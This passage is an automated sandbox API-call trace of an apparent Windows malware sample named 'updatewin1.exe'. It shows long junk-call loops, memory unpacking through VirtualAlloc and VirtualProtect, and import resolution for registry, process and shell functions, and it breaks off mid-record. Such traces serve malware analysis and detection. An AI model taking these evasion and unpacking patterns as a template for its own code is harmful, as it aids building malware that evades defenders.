0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.291] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.291] AddAtomA (lpString=0x0) returned 0x0 [0054.291] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.292] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.292] AddAtomA (lpString=0x0) returned 0x0 [0054.292] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.293] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.293] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.293] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.294] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.294] AddAtomA (lpString=0x0) returned 0x0 [0054.294] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.295] AddAtomA (lpString=0x0) returned 0x0 [0054.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.314] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.314] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0054.314] SetErrorMode (uMode=0x400) returned 0x0 [0054.314] SetErrorMode (uMode=0x0) returned 0x400 [0054.314] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0054.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0054.317] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0054.345] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.346] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0054.346] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0054.346] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0054.346] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0054.346] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0054.347] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0054.348] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0054.349] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0054.350] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0054.351] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.351] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0054.351] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0054.351] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0054.352] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0054.352] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0054.352] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0054.352] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0054.352] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0054.352] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0054.352] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0054.352] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0054.352] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0054.352] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0054.352] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0054.352] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0054.352] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0054.355] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0054.355] atexit (param_1=0x5d63e0) returned 0 [0054.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xb2ee0bf0, dwHighDateTime=0x1d55a45)) [0054.356] GetCurrentThreadId () returned 0x88c [0054.356] GetCurrentProcessId () returned 0x888 [0054.356] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17465110346) returned 1 [0054.371] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.371] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.371] GetLastError () returned 0x57 [0054.373] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.373] GetLastError () returned 0x57 [0054.373] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.373] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.373] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.373] GetLastError () returned 0x57 [0054.373] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.373] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.375] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.375] GetLastError () returned 0x57 [0054.375] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.375] GetLastError () returned 0x57 [0054.375] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.375] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.376] GetProcessHeap () returned 0x5c0000 [0054.376] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.376] GetLastError () returned 0x57 [0054.376] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.376] GetLastError () returned 0x57 [0054.376] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x364) returned 0x5ea9f0 [0054.376] SetLastError (dwErrCode=0x57) [0054.377] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc00) returned 0x5ead60 [0054.378] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xa2629bd3, hStdError=0xfffffffe)) [0054.378] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.378] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.378] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.378] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS 